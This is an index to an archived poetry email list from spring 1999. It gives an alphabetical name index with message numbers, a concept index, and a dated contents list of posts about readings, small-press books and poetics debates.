Caddel, Ric 12, 51
Cameron, Sharon 131
Caples, Garrett 164, 182, 184, 267
Carey, Peter 226
Carey, Tom 2
Carlos, William 133, 161
Carr, Julie 41
Carroll, Lewis 161
Carson, Anne 71
Casey, Sean 161
Catullus 199
Celan, Paul 12
Celona, Tina 235
Chang, Iris 140
Cigale, Alex 294
Claire, Barbara 71, 108
Clare, John 71
Clark, Emilie 52, 204, 205, 263, 266
Clark, Jeff 164, 182, 184
Clarke, Robin 226
Clement, Catherine 211
Clinton, Bill 10, 161
Coalition, Christian 15
Cobbing, Bob 245
Cocteau, Jean 219
Coffey, Michael 137, 145
Cohen, Leonard 54, 73
Colby, Todd 54, 73
Coleman, Jen 211
Coleman, Wanda 188
Coleridge, Samuel Taylor 71
Columbus, Christopher 43
Connor, Bruce 247
Coolidge, Clark 244
Cooper, Dennis 181
Coover, Robert 281
Corless, Martin 164, 182, 184
Cornford, Adam 215
Coultas, Brenda 188
County, Madison 222, 263, 286
Crane, Lee 181, 222
Creeley, Robert 54, 73, 90, 186, 191, 199
Curtis, Dana 162, 281
Daley, Rachel 72
Darragh, Tina 17
Davenport, Steve 215
Davidson, Michael 99, 102
Davies, Kevin 17, 199
Davis, Alex 137
Davis, Martin 181, 193
Davis, Tim 17, 234
Day, Jean 60, 135, 204
Deguy, Michel 12
Deleuze, Gilles 174
Derksen, Jeff 17
Derrida, Jacques 163
Devaney, Tom 76, 145
Dickinson, Emily 161
Dickinson, Mark 135, 161
Dickison, Steve 199
Didion, Joan 157
Dixon, Nancy 72
Donahue, Joe 91
Dorward, Jane 137
Dorward, Nate 137
Downing, Brandon 131
Duncan, Robert 12, 33, 46, 162, 199, 210, 211, 231
Durand, Marcella 151, 215, 248, 260
Durgin, Patrick F. 14, 97, 168, 225, 257
Dylan, Bob 12
Edson, Russell 62, 157
Einstein, Albert 238
Elena, Maria 140
Eliot, George 157
Eliot, Joe 112, 119, 155, 179, 203
Eliot, T. S. 120
Ellen, Mary 18
Elliot, Joe 151
England, Amy 12, 71, 148
Enslin, Ted 215
Eshleman, Clayton 90
Espada, Martin 133
Eugene, Brett 137, 193
Evans, Bill 249
Evans, Steve 17, 204
Evenson, Brian 118
Exley, Roy 270
Fagin, Larry 273, 284
Falwell, Jerry 177
Featherston, Dan 221
Felver, Chris 190
Ferguson, Jesse 53
Ferlinghetti, Lawrence 31, 190
Fiedler, Leslie 142
Filreis, Alan 133
Finley, Karen 15
Fisher, Allen 12
Fisher, Ann 137
Fitterman, Robert 17
Fletcher, Sasha 255
Foley, Patrick 270, 281
Folsom, Eric 10
Forrest, Lisa 91

Foster, Paul 19
France, Peter 91, 157, 265
Fraser, Simon 174
Frazer, Tony 148
Freind, Bill 168
Friedlander, Benjamin 17, 56, 204
Friedman, David M. 33
Friedman, Michael 33
Frost, Corey 182, 184
Frost, Robert 161
Frumkin, Gene 42
Fuchs, Greg 76, 247, 249
Fuller, Heather 17
Fuller, William 56
Gander, Forrest 91
Gardner, Drew 145
Garthe, Karen 234
Gelpi, Albert 99, 102
Gevirtz, Susan 60, 135
Gilbert, Alan 46
Gilbert, Susan 46, 211
Ginsberg, Allen 54, 73, 211, 270
Giscombe, Cecil 186
Gizzi, Peter 199
Glancy, Diane 61
Glass, Jesse 205
Gleason, Madeline 210
Glück, Louise 90
Goldman, Judith 17
Goldsmith, Kenneth 53
Good, Phil 76, 159
Gordon, Robert 72, 230, 269
Gottlieb, Michael 97, 234
Gould, Glenn 281
Graham, Jorie 90, 123
Graham, Lea 76
Greenberg, Arielle 65
Gregg, Linda 204
Gregory, Dick 76, 181, 229
Griffin, Tim 145
Grinnell, Tracy 127, 255
Grossman, Allen 60, 135, 185
Grossman, Emily 182, 184, 255
Grossman, Pam 164, 185
Gudding, Gabriel 281
Guest, Barbara 60, 135
Guston, Philip 33
Guthrie, Camille 230
Hamshaw, Carol L. 70, 152
Harris, Kaplan 12
Harwood, Lee 12
Hawking, Stephen 12
Hawkins, Jeremy 53
Hawkins, Ralph 12
Healy, Randolph 137, 148, 226
Heidegger, Martin 172
Heintz, Kurt 70
Hejinian, Lyn 17, 60, 71, 135, 169, 175, 191, 207, 235, 244
Henri, Charles 160
Herbert, George 208
Hernandez, Victor 133
Hershon, Robert 188
Hillman, Brenda 145
Hofer, Jen 160, 166
Hollo, Anselm 91, 118
Holman, Bob 54, 73, 282
House, White 161
Howard, Scott 1, 140
Howe, Susan 75, 172, 199, 278
Hughes, Langston 161, 184
Hughes, Peter 182
Hughes, Ted 288
Ignatow, David 133
Iijima, Brenda 18
Indiana, Robert 13
Inman, Peter 17
Ireland, Lauren 22, 137
Irvine, James 292
Israel, David 246
Jackson, Jesse 140, 263
Jonas, Steve 26
Jordan, June 252, 257, 276, 289
Joseph, Safdie 119
Kaipa, Summi 97
Kaufman, Alan 131
Kaufman, Bob 99, 102
Kaufman, Erica 99, 102, 281
Keats, John 71
Keckler, Joseph 145
Keller, Helen 157
Kelley, Mike 140
Kelsey, Karla 122
Killian, Kevin 162, 199, 210, 231
Kinnell, Galway 159
Kinsella, John 12, 97
Klein, Lucas 193
Koch, Kenneth 145
Kristeva, Julia 231
Kuszai, Joel 128
Lai, Larissa 125
Lakoff, George 138, 150, 164, 165, 201, 217
Lang, Doug 17
Larimer, Kevin 145
Larkin, Maryrose 12, 288
Larkin, Philip 288
Larsen, David 10, 145
Laurence, Paul 161
Lauterbach, Ann 60, 90, 135
Lavender, Bill 177
Lazer, Hank 17, 197
Lear, Edward 161
Lederer, Katy 209, 229, 247
Lehrer, Jim 161

Lenhart, Gary 188
Lerner, Ben 15
Levertov, Denise 199
Levitsky, Rachel 61, 65, 72
Levy, Andrew 17, 97
Lewis, Bernard 15, 172
Lima, Frank 133
Lloyd, David 226
London, Frank 245
Lopez, Tony 91
Lorber, Brendan 76, 229
Louise, Bobbie 15, 230
Mac Low, Jackson 2, 255
Lubasch, Lisa 235
Luoma, Bill 168, 188, 204
Lyons, Kimberly 151
Machlin, Dan 205
Mackey, Nate 60, 126, 135, 139, 231
Mackey, Nathaniel 106, 126, 139
Madison, James 183
Malcolm, Janet 71
Mallarmé, Stéphane 12
Mariani, Paul 133
Marsh, Bill 128
Martin, Camille 140, 148, 235
Marvin, Lee 145
Mason, Janet 92, 160
Materer, Timothy 203
Matthews, Harry 226
Mayakovsky, Vladimir 163, 199
Mayer, Bernadette 76, 159, 175
Mayhew, Jonathan 173
McCaffery, Steve 199
Melville, Nicky 4, 25
Mengham, Rod 12
Mesmer, Sharon 76, 159
Metcalf, Paul 168, 215
Miki, Roy 174
Miller, Ben 90
Miller, Paul D. 186, 193
Mills, Billy 137, 226
Mills, Susan 61
Milne, Drew 137
Milton, John 71, 157, 162
Miriam, Erica 174, 199
Mitchell, Joan 90, 140
Mittenthal, Robert 17
Moriarty, Laura 202
Morris, Robert 123
Morrison, Bill 131, 171, 234
Moure, Erin 12
Moxley, Jennifer 60, 135, 167
Mullen, Harryette 12, 60, 122, 135, 191
Murphy, Sheila 42, 168, 267
Murray, Ian 12
Myles, Eileen 2, 90, 168
Myouka, Alan 53
Nelson, Gale 91
Newton, Keith 137
Nguyen, Hoa 61, 90
Nichols, Travis 174, 199
Nicholson, Andy 157
Nielsen, Aldon L. 17
Nolan, Kevin 12
Norris, Chuck 140
Norton, John 15
Notley, Alice 54, 73, 85, 129, 214, 224, 225, 285
Nowak, Mark 61
Olsen, Lance 281
Olson, Kirby 4, 25, 145, 182, 184, 199, 226
Ondaatje, Michael 199
Ostashevsky, Eugene 131, 193
Ovid 71, 199
Pacific, Asian 164
Padgett, Ron 2, 133
Palmer, Michael 12, 68, 74, 90, 131, 139, 141
Parker, Michael 189
Patchen, Kenneth 31
Paterson, Don 216
Patterson, Ian 12
Patton, Julie 72
Pawlak, Mark 188
Peirce, Kathleen 89, 172
Perelman, Bob 207
Perloff, Marjorie 12, 17, 99, 102, 123, 164, 165, 182, 184, 197, 207, 227
Peters, Mark 53, 178
Peters, Robert 181
Pettibon, Raymond 10
Peyrafitte, Nicole 183
Phillips, Beth 140, 191
Phipps, Wanda 2, 76, 159
Pines, Paul 210
Pinsky, Robert 161, 207, 216
Piombino, Nick 17
Pound, Ezra 155, 179, 182, 184, 199, 203
Powell, Ren 160, 202
Prejsnar, Mark 168, 201, 207, 244
Prevallet, Kristin 234, 278
Prigent, Christian 12
Pritchett, Pat 118, 122, 127, 200
Ramsdell, Heather 205
Rasula, Jed 17, 199
Ratcliffe, Stephen 153, 234
Raworth, Tom 20, 137, 199
Reese, Marshall 151
Regan, Matthias 56
Retallack, Joan 17, 168, 172
Ribot, Marc 128
Rice, Clai 71
Richman, Jan 193
Ridge, Cedar 140
Riley, Denise 12, 247

Riley, Peter 12, 51, 148
Rimbaud, Dee 99, 102
Robertson, Lisa 12, 199
Robinson, Elizabeth 71, 145, 161, 234
Rodefer, Stephen 12
Rogers, Jennifer 107
Rosenthal, Chuck 157
Rothenberg, Jerry 191
Rothenberg, Michael 2, 76
Roubaud, Jacques 172
Rove, Karl 270
Ruefle, Mary 90
Saidenberg, Jocelyn 139
Sailers, Cynthia 92
Sala, Jerome 17, 188
Sanchez, Jorge 90
Sanders, Edward 61
Sanders, Jay 46
Sappho 54, 73
Sartre, Paul 87
Savage, Tom 76
Scalapino, Leslie 2, 10, 17, 168, 175, 199, 207, 235
Schelling, Andrew 118, 215
Schneider, Dan 234
Schultz, Lou 97, 126, 168, 205, 262
Schultz, Susan M. 144
Schuster, Joshua 50, 74, 141
Schwerner, Armand 8
Seaton, Peter 17
Selby, Spencer 53
Selland, Eric 91
Shakespeare, William 161
Sharma, Prageeta 235
Shaw, Lytle 204, 205, 230
Shelley, Mary 71
Shelley, Percy Bysshe 71
Shepard, Sam 204
Shiroma, Jerrold 91, 241
Sikelianos, Eleni 188
Simic, Charles 74, 141
Simon, Greg 6, 12, 160
Simone, Frank 142
Simpson, Louis 182, 184, 197
Sloan, Margaret 60, 135
Smith, Charles 215
Smith, Dale 168
Smith, Harry 46, 164, 181, 182, 184
Smith, Michael 137
Smith, Rod 17
Snyder, Gary 12
Snyder, Rick 140
Sondheim, Jennifer 72
Sorrentino, Christopher 199
Spahr, Boyd 204
Spicer, Jack 162, 181
Spicer, John 162, 181, 210, 231, 285
Squires, Geoffrey 137, 148
Stalin, Joseph 162
Stanley, George 199, 231
Starr, Ron 98, 103, 249
Stefans, Kim 156, 197
Stein, Gertrude 25, 34, 75, 164, 182, 184, 199, 211
Steinbeck, John 157
Stengel, Jill 166
Stevens, Wallace 19, 140, 161
Stevenson, Matt 12
Stewart, Susan 114
Stone, Anne 37
Strang, Brian 159
Strickland, Stephanie 90
Sukenick, Ron 281
Sutherland, Keston 56
Swensen, Cole 200
Taggart, John 90, 215
Tardos, Anne 2
Tarkos, Christophe 12
Tarn, Nathaniel 164, 199
Texas, Irving 13, 133, 270
Thesen, Sharon 199
Thomas, Dylan 127, 205, 270, 288
Thompson, George 140
Topp, Mike 76
Townsend, Cheryl 210
Trevor, Jesse 24
Tribune, Chicago 157
Trujillo, Dorothy 199
Tudor, David 208
Tuma, Keith 137, 272
Turner, Victor 125
Tyler, Richard 72
Vangelisti, Paul 255
Vendler, Helen 197
Veronica, Angela 184
Vincent, Stephen 12
Violi, Paul 188
Vitiello, Chris 10
Wagner, Catherine 145, 164, 182, 184
Waldman, Anne 32, 118, 175, 199
Waldrop, Keith 91, 240, 263
Waldrop, Rosmarie 91
Walker, Laura 12
Wallace, Nicole 44, 140, 161
Walsh, Catherine 137, 226
Warhol, Andy 15, 62, 172, 222
Warnell, Ted 53
Warsh, Lewis 2, 175, 204
Washington, George 11, 17, 20, 181, 193, 221, 223
Wasserman, Ann 61, 230
Watson, Carl 76, 159
Watson, Craig 17
Watson, Scott 171

Watts, Charles 199, 211, 231
Webster, Noah 136, 154
Weiner, Hannah 17, 26
Weiner, Lawrence 26
Wellman, Donald 168
Whalen, Philip 2
Whitehead, Ron 46, 190
Whitman, Walt 136, 154, 161, 193
Wieners, John 99, 102
Williams, Jonathan 215
Williams, Paul O. 117, 133, 161, 211, 274
Williams, Stephanie 117
Williams, William Carlos 133, 161, 216
Williamson, Lindz 31
Wilson, Karen 90, 288
Wittgenstein, Ludwig 263
Woolf, Virginia 157, 213, 228, 263
Wordsworth, William 12, 161
Wright, James 57
Zimmerman, Dan 82, 107, 109, 177
Zukofsky, Louis 12, 104, 112, 119, 120
Zummer, Thomas 72
Zwicky, Jan 6

CONCEPTS

Activism and protest 74, 141, 152, 162
Aesthetics 6, 12, 26, 71, 99, 102, 123, 133, 138, 150, 164, 165, 182, 184, 197, 201, 207, 227, 263, 294
Afghanistan 290
African American poetry 177, 181
Anthologies 12, 37, 51, 94, 99, 102, 133, 161, 169, 171, 227, 236, 272
Appropriation 148, 195, 207, 289, 292
Archives and libraries 4, 9, 25, 34, 41, 50, 71, 74, 91, 105, 141, 154, 161, 212, 270, 275, 292
Autobiography 33, 98, 103, 115, 153, 226, 292
Avant-garde 4, 12, 25, 72, 99, 102, 118, 122, 222, 226
Beat generation 28, 190
Beauty 60, 88, 135, 157, 162, 202, 210, 219, 238
Biography 2, 46, 133, 172, 288
Book announcements 17, 20, 42, 46, 50, 52, 53, 72, 90, 115, 122, 128, 145, 156, 168, 172, 175, 240
Bookstores 67, 90, 106, 126, 156, 171, 269
Calls for submissions 19, 292
Capitalism 108, 123, 182, 184, 207, 252, 257, 276
Censorship 275
Cities 35, 56, 88, 125, 133, 222
Class 133, 162, 237, 262, 265
Collage and montage 137, 169, 221, 242
Conferences and festivals 4, 12, 19, 24, 25, 34, 48, 51, 60, 71, 80, 90, 123, 135, 137, 142, 148, 158, 161, 162, 174, 181, 222, 231, 248, 260, 270, 292
Copyright and permissions 10, 275, 292
Creative writing pedagogy 4, 25, 34, 40, 41, 75
Deconstruction 212
Difficulty 87
Disability 161
Dreams 8, 57, 130, 137, 144, 162, 189, 210, 288
Ecology and ecopoetics 138, 150, 165, 181, 201, 276
Editing 6, 99, 102, 123, 133, 156, 175, 187, 188, 214, 224, 262, 285, 292
Electronic poetry and hypertext 44, 53, 128, 130, 191, 194
Elegy 12, 60, 115, 135, 148, 191
Epic 171, 175, 214, 222, 224, 285
Epistemology 222, 260
Erasure 24
Ethics 50
Experimental poetry 45, 58, 68, 99, 123, 187, 197, 226, 233
Fascism 56
Feminism 15, 60, 75, 135, 162, 174, 213, 214, 224, 228, 262, 285
Film 15, 26, 164, 176, 181, 187, 204, 206, 222, 274, 282
Formalism 164, 182, 184
Free verse 123, 134, 161
Futurism 236
Gender 60, 75, 99, 102, 114, 135, 157, 174, 182, 184, 185, 262
Globalization 174
Grants and funding 15, 93, 99, 102, 153, 223, 248, 260, 285
Haiku 12, 26, 130
Hermeneutics 206
Homophonic translation 12
Humour and satire 12, 67, 137, 211
Ideology 15, 75, 197
Imagism 12
Improvisation 12, 156, 183
Indigenous and Native poetics 62, 161, 177
Interviews 17, 61, 72, 85, 125, 129, 133, 161, 172, 190, 191, 197, 214, 224, 285, 292
Israel and Palestine 246
Jewish poetics 161
Language poetry 12, 58, 60, 71, 79, 89, 113, 121, 123, 135, 137, 182, 184, 197, 207, 213, 227, 236, 248, 260
Latino and Latin American poetry 133
Letters and correspondence 14, 28, 72, 157, 221, 227, 265
List moderation 24, 47, 57, 87, 120, 137, 148, 182, 184, 263, 269
Little magazines 10, 12, 14, 21, 33, 37, 43, 44, 58, 74, 85, 92, 105, 122, 129, 134, 137,

141, 148, 157, 160, 171, 174, 176, 182, 184, 193, 197, 226, 230, 241, 242, 248, 255, 260, 275, 292
Lyric poetry 12, 44, 60, 79, 81, 114, 123, 134, 135, 185, 198, 213, 222, 228, 235, 238
Marxism 12
Memory 50, 69, 74, 77, 141, 161, 199, 202, 206, 260, 287
MFA programs 118, 130, 144, 256
Modernism 12, 99, 102, 123, 137, 158, 187, 228, 281
Mourning and loss 12, 45, 53, 60, 82, 107, 114, 125, 135, 161, 191, 194, 199, 206, 210, 238
Music and poetry 8, 10, 12, 41, 48, 49, 60, 67, 71, 74, 80, 81, 82, 88, 98, 100, 103, 104, 107, 110, 112, 114, 119, 125, 135, 137, 141, 161, 164, 174, 176, 181, 182, 184, 199, 206, 207, 208, 210, 211, 219, 231, 237, 249, 258, 263, 274
Nationalism 137, 174
Nature 12, 15, 45, 56, 91, 159, 182, 184, 199, 202, 205, 211, 231, 266, 270
Negativity and refusal 50, 133, 164, 182, 184
New York School 12, 175
Objectivism 44, 137
Ontology 222
Performance and the poetry reading 37, 44, 46, 59, 122, 137, 156, 181, 188, 193, 248, 260
Phenomenology 137, 143
Philosophy 6, 12, 71, 88, 137, 162, 172, 174, 244
Place and region 91
Poet laureate 161, 288
Poetics 6, 10, 14, 17, 21, 22, 24, 25, 27, 45, 46, 47, 52, 56, 57, 59, 71, 81, 97, 99, 102, 103, 104, 108, 114, 120, 123, 129, 130, 135, 139, 144, 162, 164, 168, 169, 172, 177, 178, 182, 183, 184, 186, 199, 203, 204, 210, 211, 213, 220, 224, 228, 231, 248, 256, 257, 260, 262, 263, 278, 282, 285, 294
Politics and poetry 182, 184, 197
Postmodernism 99, 102, 123, 187
Print vs. digital 2, 9, 12, 57, 133, 134, 138, 197, 211, 242, 246, 259, 278, 287
Prizes and awards 15, 86, 101, 125, 131, 157, 159, 171, 193, 223, 256
Procedural and constraint writing 123, 261
Prose poem 33, 37, 137, 176, 263, 286
Prosody and meter 134
Psychoanalysis 108, 227, 248, 260
Queer poetics 65, 88, 210, 231, 237
Race and poetry 55, 99, 102, 125, 137, 174, 181, 182, 184, 216, 258, 262
Reading announcements 33, 37, 44, 63, 68, 125, 139, 161, 193, 209, 229, 247
Religion and the sacred 12, 15, 60, 74, 135, 138, 141, 162, 181
Representation 58, 70, 87
Reviewing and criticism 6, 15, 21, 33, 37, 44, 57, 71, 72, 74, 99, 102, 103, 122, 123, 133, 134, 141, 153, 157, 162, 175, 182, 184, 185, 187, 197, 199, 203, 205, 207, 218, 221, 223, 235, 236, 269, 279, 292
Romanticism 71, 156
San Francisco Renaissance 31, 99, 102
Science 6, 10, 12, 62, 75, 104, 181, 226, 227, 236, 238, 292
Semiotics 35, 58, 75, 89, 238
Serial poem 6, 137
Small press publishing 3, 27, 33, 37, 42, 43, 56, 57, 61, 67, 68, 90, 91, 99, 102, 105, 111, 115, 122, 125, 128, 147, 153, 159, 166, 167, 175, 186, 190, 193, 202, 221, 240, 241, 247, 248, 260, 270
Software and code 21, 47
Sonnet 12, 157
Subjectivity 55, 60, 75, 79, 133, 134, 135, 162, 164, 174, 181, 182, 184, 185, 196, 241
Sublime 157, 210
Surrealism 57, 74, 137, 141
Terrorism 186
The academy 4, 9, 10, 12, 14, 15, 18, 25, 31, 34, 44, 60, 71, 88, 92, 99, 102, 118, 122, 130, 133, 134, 135, 145, 153, 157, 158, 164, 174, 175, 182, 184, 193, 198, 200, 207, 223, 228, 235, 244, 266, 272, 275, 292
The body 74, 88, 123, 125, 138, 141, 143, 146, 150, 161, 165, 180, 201, 206, 211, 231, 246, 262
The canon 99, 102, 114, 123, 182, 184, 227
The Gulf War 11
The Holocaust 28, 162, 212
The internet 35, 53, 54, 61, 73, 129, 130, 143, 152, 157, 160, 161, 169, 178, 199, 223, 224, 237, 239, 260, 270, 285, 292
The Iraq war 11, 290
The line 12, 197
The listserv 4, 12, 22, 25, 26, 46, 47, 49, 51, 55, 120, 133, 150, 161, 162, 165, 174, 195, 197, 227, 272
The New Sentence 12
Theatre 10, 15, 25, 67, 99, 102, 137, 140, 148, 153, 157, 175, 181, 192, 222
Translation 12, 67, 68, 115, 118, 133, 160, 172, 176, 193, 205, 215, 222, 241, 248, 260, 278, 282
Vietnam 290
Visual and concrete poetry 134, 137, 236, 274
Visual art 15, 37, 71, 88, 123, 148, 160, 174, 181, 187, 209, 222, 229, 247, 274, 292
Women's writing 75, 198, 214, 224, 228, 285

Contents

Every entry links to its message. 294 in all.

30 APR 1999

1. Kevin Magee — Re: "my home" posted 23 Apr
2. Poetry Project — week forthcoming
3. dbkk — SPT summer internship
4. Alan C Golding — Request for Poem Ideas
5. George Bowering — Re: book announcement

1 MAY 1999

6. Simon DeDeo — Jan Zwicky
7. Rebecca Wolff — Re: STUCK IN SELF-PROMO WITH YOU
8. Billy Little — trance, late
9. Peter Quartermain — Bedight and fillyness
10. megan minka lola camille roy — Larsen and Vitiello at New Langton Arts
11. emgarrison — Depleted Uranium ???

2 MAY 1999

12. Harold Teichman — Eyewitness Report--Cambridge Conference of Contemporary Poetry
13. Alan Sondheim — WRITING ON AMERICA

3 MAY 1999

14. ken|n|ing — e-mail change, impending
15. Ron Silliman — Putting your money where...
16. Joel Lewis — f.y.i.
17. aerialedge — Announcing _Aerial 9: Bruce Andrews_ & Edge Books / Protective Immediacy Spec…
18. Brenda Ellen Uchman — _Person (a)_
19. Edward Foster — Symposium on the Work of William Bronk
20. aerialedge — Bridge Street Books
21. Christopher Reiner — Witz Online
22. Poetics List — list stats
23. Chris Stroffolino — Re: STUCK IN SELF-PROMO WITH YOU
24. cris cheek — Re: Cork 99 (apologies for cross posting)
25. Maria Damon — Re: Request for Poem Ideas
26. Maria Damon — mekas on weiner
27. Noam Scheindlin — You Won't Find This At Barnes and Noble
28. Alan Sondheim — Generations

4 MAY 1999

29. Wystan Curnow — address antin
30. George Bowering — Re: Bedight and fillyness
31. Sarah Hreha — Patchen news : Harry Redl pictures of Patchen and the Beats
32. Chris McCreary — address requests
33. dbkk — Berkson/Friedman at SPT
34. Fred Muratori — Re: Request for Poem Ideas
35. Lowther,John — potentially relevant to the buffalist ?
36. emgarrison — Pen
37. derek beaulieu / house press — filling Station presents: the BIG Tour!
38. Katherine Lederer — East Coast address for The Germ?
39. Chris Stroffolino — Re: STUCK IN SELF-PROMO WITH YOU
40. Daniel Kane — Lee Ann Brown on WriteNet
41. Daniel Kane — Cornelius Eady on WriteNet + self promotion

5 MAY 1999

42. Leonard Brink — Gene Frumkin
43. derek beaulieu / house press — [sic]... May issue now online!
44. Mark Wallace — Final reading at the Ruthless Grip Art Project in D.C.
45. Alan Sondheim — The Political Economy of Bombs as Transparencies
46. Poetics List — talk series / Gilbert
47. Poetics List — DO NOT OPEN / beaulieu
48. Jim Bennett — LA Aug 99
49. Billy Little — Re: Bedight and fillyness
50. Kristen Gallagher — new books: magee, schuster

6 MAY 1999

51. Richard Caddel — Re: FW: Eyewitness Report--Cambridge Conference of Contemporary Poetr ...
52. Clark D Lunberry — New from Slovakia
53. Loss Pequeño Glazier — Deluxe Rubber Chicken #3
54. nuyopoman — Over the Top with Bob Holman
55. Robert Grotjohn — American Social Identity Survey
56. Poetics List — nominative press announces...
57. Poetics List — FAULT LINE PARK / 24 hour press
58. Lowther,John — Questions on a HOW-TO
59. derek beaulieu / house press — Fw: COLD PHUSION - a poetry reading
60. Rachel Blau DuPlessis — Re: Barnard and beyond Beyond
61. Poetry Project — new on the web site
62. Mairead Byrne — Re: American Social Identity Survey
63. Elizabeth Fodaski — Double Happiness
64. pete spence — Re: American Social Identity Survey
65. BETSY ANDREWS — burrow into the borough

7 MAY 1999

66. Brian Lennon — request: Berlin Wall
67. Tosh — Boris Vian & Serge Gainsbourg reading/music/video event
68. Katie Degentesh — THURSDAY, MAY 13
69. Douglas Oliver — Re: Hail and Farewell
70. Carol L. Hamshaw — Teen Telepoetics
71. Kevin Magee — Re: D=E=E=N = DA DA RAMISE
72. Ryan Whyte — Aporia #2 Now Available
73. nuyopoman — "Over the Top" with Bob Holman
74. KENT JOHNSON — Journal jottings [Project Experience]
75. Linda Russo — Gender quiz, or just a list
76. Poetry Project — upcoming futures at the Poetry Project
77. miekal and — Re: Hail and Farewell
78. Alan Sondheim — Poem by Nikuko
79. Gerald Schwartz — Re: Barnard and beyond Beyond
80. Maria Damon (Maria Damon) — jazz/poetry festival?
81. patrick phillips — Re: Barnard and beyond Beyond

8 MAY 1999

82. Daniel Zimmerman — Re: American Social Identity Survey
83. Ron Silliman — SF readings May 17-18?
84. Chris Stroffolino — CHARLES ALTIERI
85. Chris Stroffolino — NOTLEY on "the youth"....
86. lee ann brown — POLYVERSE BOOK PARTY: 5/13/99
87. Alan Sondheim — 3 for Azure, by us

9 MAY 1999

88. Kevin Magee — MAY 15 CLEVELAND ART EVENT
89. Lowther,John — More Questions Re Experiment

90. Rebecca Wolff — Fence #3

10 MAY 1999

91. Julie Johnson — Duration Press announcement
92. interim — Transfer Magazine Reading
93. Alan Sondheim — Jennifer, seeking help
94. Poetry Project — z;fgoweraisdf
95. derek beaulieu / house press — in grave ink needs poetry
96. Lowther,John — p o e t r y ; t e l i c o r n o t
97. Poetics List Administration — New WWW Resource / Durgin
98. Tosh — Re: SF readings May 17-18?
99. Poetics List Administration — SPT Re:reads the New American Poetry / Small Press Traffic
100. Maria Damon (Maria Damon) — query
101. Maria Damon (Maria Damon) — Re: POLYVERSE BOOK PARTY: 5/13/99
102. Maria Damon (Maria Damon) — Re: SPT Re:reads the New American Poetry / Small Press Traffic
103. Taylor Brady — Re: SF readings May 17-18?
104. Taylor Brady — Re: query
105. Elizabeth Treadwell — new site--Duration Press
106. Tisa Bryant — Nathaniel Mackey is
107. shana — Re: American Social Identity Survey
108. Erika Stephens — Report from Atlanta
109. pete spence — Re: American Social Identity Survey
110. Billy Little — Re: query

11 MAY 1999

111. Dodie Bellamy — Re: SPT Re:reads the New American Poetry / Small Press Traffic
112. Joseph Conte — Upper limit
113. david bromige — "experiment"/seeing thru....
114. Stephen Cope — Re: POETICS Digest - 6 May 1999 to 7 May 1999 (#1999-89)
115. Leonard Brink — Emmanuel Hocquard, Norma Cole
116. Linda V Russo — Re: p o e t r y ; t e l i c o r n o t
117. R Democracy — Re: Stephanie Williams
118. Pritchett,Patrick — FW: translation day at DU
119. Mark W Scroggins — Re: Upper limit
120. Poetics List — Note on re: query
121. Lowther,John — Bromige and Lowther a puppet play
122. Pritchett,Patrick — Re: Left Hand Reading Series - May 18, 1999
123. Jeffrey Jullich — Questions on a HOW-TO [value]
124. Maria Damon (Maria Damon) — Re: Upper limit
125. derek beaulieu / house press — Writers for change - a cross canada tour
126. kathylou — Re: Nathaniel Mackey is
127. Pritchett,Patrick — query
128. Christopher Reiner — L.A. Reading this Sunday
129. Stephen Ellis — Re: NOTLEY on
130. komninos zervos — Re: Invitation to a Thought Experiment
131. Katie Degentesh — 9x9 News

12 MAY 1999

132. Tony Green — Re: Invitation to a Thought Experiment
133. Michael Magee — OPEN LETTER TO RON PADGETT AND TEACHERS & WRITERS COLLABORATIVE (fwd)
134. Annie Finch — Re: a ghost in the metric
135. Annie Finch — Lyric
136. juliana spahr — hey whitmaniacs
137. Trevor Joyce — Report from Cork Conference
138. Randy Prunty — Re: Poetry: telic or not

139. Poetics List — Re: Mackey Reading / Tisa Bryant
140. Jeffrey Jullich — Re: American Social Identity Survey [MICROSOFT]
141. Kristen Gallagher — Re: Journal jottings [Project Experience]
142. Mariah Corrigan — Leslie Fiedler/Simone Weil
143. Alan Sondheim — Steering Mechanism
144. Susan M. Schultz — Invitation to a Thought Experiment

13 MAY 1999

145. Katherine Lederer — E X P L O S I V E M A G A Z I N E # 7
146. Alan Sondheim — 2 which bear repeating (fwd)
147. Linda V Russo — SPT Re:reads the New American Poetry / Small Press Traffic
148. L. MacMahon and T.R. Healy — Shearsman 39 apologies for cross posting
149. BETSY ANDREWS — summer sublet
150. Jacques Debrot — Re: Poetry: telic or not
151. Poetry Project — Situations Book Party
152. Carol L. Hamshaw — NATO and the Internet

14 MAY 1999

153. Stephen Cope — (no subject)
154. Todd Baron /*/ ReMap Readers — Re: hey whitmaniacs
155. Brian Stefans — What does Mr. Pound believe?
156. Brian Stefans — Bruce Andrews and Brian Kim Stefans Reading
157. rob wilson — oh sublime semi-colon, yr history haunts me
158. Cassandra Laity — Brit/Irish Seminar
159. Poetry Project — next week
160. James Brook — TWO LINES reading in San Francisco
161. Tom Orange — CBC Radio interview with Robert Pinsky
162. Kevin Magee — Re: Poetry 101, crude binaries, & the standard of Beauty (gasp?)
163. Alan Sondheim — where and how they lived
164. P.Standard Schaefer — Re: Poetry: telic or not
165. Erika Stephens — Excessively Disruptive Telos
166. hofermr — sf reading saturday may 15

15 MAY 1999

167. Chris Stroffolino — MOXLEY ADDRESS....
168. ken|n|ing — Kenning #4 now available

16 MAY 1999

169. Gregory Severance — Jullich poetry on the web
170. Alan Sondheim — Neurotic Fragment
171. Elizabeth Treadwell — New from Double Lucy Books
172. Harold Teichman — Silk Peirce or sow's ear? Howe now, Fourcade?

17 MAY 1999

173. MAYHEW — demagoguery of tea
174. Miriam Nichols — Call for new writing/West Coast Line
175. Dodie Bellamy — Scalapino/Warsh at SPT
176. Chris Piuma — new flim! Sondheim, Upton, Henry, Piuma, LeVine eat breakfast merrily.
177. Poetics List — onomastic anathema / Zimmerman
178. Poetics List — / Mark Peters
179. George Bowering — Re: What does Mr. Pound believe?
180. Kevin Magee — Re: CHILD'SPLAY
181. Kevin Magee — Re: Living Space/Artmaking/Audiences

18 MAY 1999

182. Brian Stefans — Response to Standard Schaefer
183. Pierre Joris — Manifesto&a Performance
184. Brian Stefans — Response to Standard Schaefer (vers.II with fixed spelling)

185. Lowther,John — Re: Lyric (s e n t i m e n t a l / which lyric ?)
186. Mark W Scroggins — New Chapbook Series
187. Lowther,John — for Jeffrey Jullich / poetix
188. Poetry Project — World #55 Now Out!
189. Alan Sondheim — kernel/shell
190. derek beaulieu / house press — new from housepress: lawrence ferlinghetti at 80.
191. Loss Pequeño Glazier — http://epc.buffalo.edu

19 MAY 1999

192. Alan Sondheim — Performance Enunciation
193. Katie Degentesh — 9X9 LIVE ON KUSF
194. Loss Pequeño Glazier — EPC: New URL
